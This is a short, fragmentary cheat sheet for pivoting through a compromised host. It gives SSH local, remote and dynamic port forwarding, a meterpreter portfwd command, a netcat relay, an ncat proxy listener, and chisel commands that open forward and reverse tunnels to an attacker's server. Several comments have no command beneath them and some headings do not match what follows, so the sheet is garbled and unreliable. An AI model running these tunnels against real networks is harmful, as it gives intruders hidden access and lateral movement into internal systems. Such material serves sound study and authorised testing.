# SSH local port forwarding
ssh [email protected]_server -L [bind_address:]local_port:destination_host:destination_hostport # SSH reverse remote port forwarding
ssh [email protected]_server -R [bind_address:]remote_port:destination_host:destination_hostport # SSH dynamic port forwarding
# You can tunnel via ssh all the traffic to a subnetwork through a host.
# Example, forwarding all the traffic going to 10.0.0.1/24
meterpreter > portfwd add -l 80 -r 172.16.0.0 -p 80
nc -l -p < port to listen on> 0<pivot | nc 1>pivot
ncat -vv --listen 3128 --proxy-type http
#Local port 1521 accessible in port 10521 from everywhere
#Remote port 1521 accessible in port 10521 from everywhere
# Port2hostnet (proxychains)
# Local Port --> Compromised host(SSH) --> Wherever
ssh -f -N -D <attacker_port> <username>@<ip_compromised>
#SSH Dynamic Port Forwarding
# SSH graphical connection (X)
# <-Y is less secure but faster than -X>
chisel server -p 8080 --host 192.168.2.105 -v
chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:10.42.42.2:80
# Reverse remote port forwarding
chisel server -p 8888 --host 192.168.2.149 --reverse -v
chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:10.42.42.2:80